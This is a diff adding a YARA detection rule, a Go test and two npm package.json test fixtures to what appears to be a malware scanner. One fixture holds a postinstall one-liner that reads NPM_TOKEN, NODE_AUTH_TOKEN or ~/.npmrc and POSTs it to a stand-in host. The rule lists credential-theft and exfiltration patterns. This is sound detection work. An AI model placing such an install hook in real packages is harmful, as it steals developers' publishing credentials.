diff --git a/pkg/action/scan_test.go b/pkg/action/scan_test.go index fa2009709..6d7fbd0b6 100644 --- a/pkg/action/scan_test.go +++ b/pkg/action/scan_test.go @@ -165,6 +165,69 @@ func TestScanRepeatedScansNoResourceExhaustion(t *testing.T) { } } +func TestNPMCredentialExfiltrationRule(t *testing.T) { + ctx := context.Background() + + rfs := []fs.FS{rules.FS, thirdparty.FS} + yrs, err := CachedRules(ctx, rfs) + if err != nil { + t.Fatalf("rules: %v", err) + } + + cfg := malcontent.Config{ + Concurrency: runtime.NumCPU(), + IgnoreSelf: false, + IncludeDataFiles: false, + MinFileRisk: 0, + MinRisk: 0, + Rules: yrs, + RuleFS: rfs, + } + + tests := []struct { + name string + path string + wantRule bool + }{ + { + name: "postinstall credential exfiltration", + path: filepath.Join("testdata", "npm-token-exfil", "package.json"), + wantRule: true, + }, + { + name: "release script token reference", + path: filepath.Join("testdata", "npm-token-release", "package.json"), + wantRule: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + fr, err := scanSinglePath(ctx, cfg, tt.path, rfs, tt.path, "", nil) + if err != nil { + t.Fatalf("scan: %v", err) + } + + gotRule := hasRuleName(fr, "npm_install_credential_exfiltration") + if gotRule != tt.wantRule { + t.Fatalf("npm_install_credential_exfiltration match = %t, want %t", gotRule, tt.wantRule) + } + }) + } +} + +func hasRuleName(fr *malcontent.FileReport, ruleName string) bool { + if fr == nil { + return false + } + for _, b := range fr.Behaviors { + if b.RuleName == ruleName { + return true + } + } + return false +} + func TestExitIfHitOrMiss(t *testing.T) { t.Parallel() diff --git a/pkg/action/testdata/npm-token-exfil/package.json b/pkg/action/testdata/npm-token-exfil/package.json new file mode 100644 index 000000000..1d4d5c34e --- /dev/null +++ b/pkg/action/testdata/npm-token-exfil/package.json @@ -0,0 +1,8 @@ +{ + "name": "npm-token-exfil-test", + "version": "1.0.0", + "description": "test fixture", + "scripts": { + "postinstall": "node -e \"const fs=require('fs');const token=process.env.NPM_TOKEN||process.env.NODE_AUTH_TOKEN||fs.readFileSync(process.env.HOME+'/.npmrc','utf8');fetch('https://example.invalid/collect',{method:'POST',body:token})\"" + } +} diff --git a/pkg/action/testdata/npm-token-release/package.json b/pkg/action/testdata/npm-token-release/package.json new file mode 100644 index 000000000..cfd0ed01c --- /dev/null +++ b/pkg/action/testdata/npm-token-release/package.json @@ -0,0 +1,9 @@ +{ + "name": "npm-token-release-test", + "version": "1.0.0", + "description": "test fixture", + "homepage": "https://example.com/package", + "scripts": { + "release": "NPM_TOKEN=$NPM_TOKEN node ./scripts/release.js" + } +} diff --git a/rules/exfil/npm.yara b/rules/exfil/npm.yara index 504ddf422..ee5fadcc3 100644 --- a/rules/exfil/npm.yara +++ b/rules/exfil/npm.yara @@ -74,3 +74,28 @@ rule npm_recon_commands: high { condition: package_scripts and any of them } + +rule npm_install_credential_exfiltration: high { + meta: + description = "npm installer references package-manager credentials and sends data over HTTP" + reference = "https://unit42.paloaltonetworks.com/npm-supply-chain-attack/" + + strings: + $install_pre = /"(preinstall|install|postinstall|prepare)":/ + + $cred_npmrc = ".npmrc" + $cred_auth_token = "_authToken" fullword + $cred_node_auth = "NODE_AUTH_TOKEN" fullword + $cred_npm_token = "NPM_TOKEN" fullword + $cred_gh_token = "GITHUB_TOKEN" fullword + + $http_fetch = /fetch\(\s{0,4}[\"']https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/ + $http_request = /require\(\s{0,4}[\"']https{0,1}[\"']\)/ + $http_curl = /(curl|wget) .{0,128}https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/ + $http_url = /https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/ + $http_post = "POST" fullword + + condition: + package_scripts and $install_pre and any of ($cred*) and + ($http_fetch or $http_curl or ($http_request and $http_post) or ($http_url and $http_post)) +}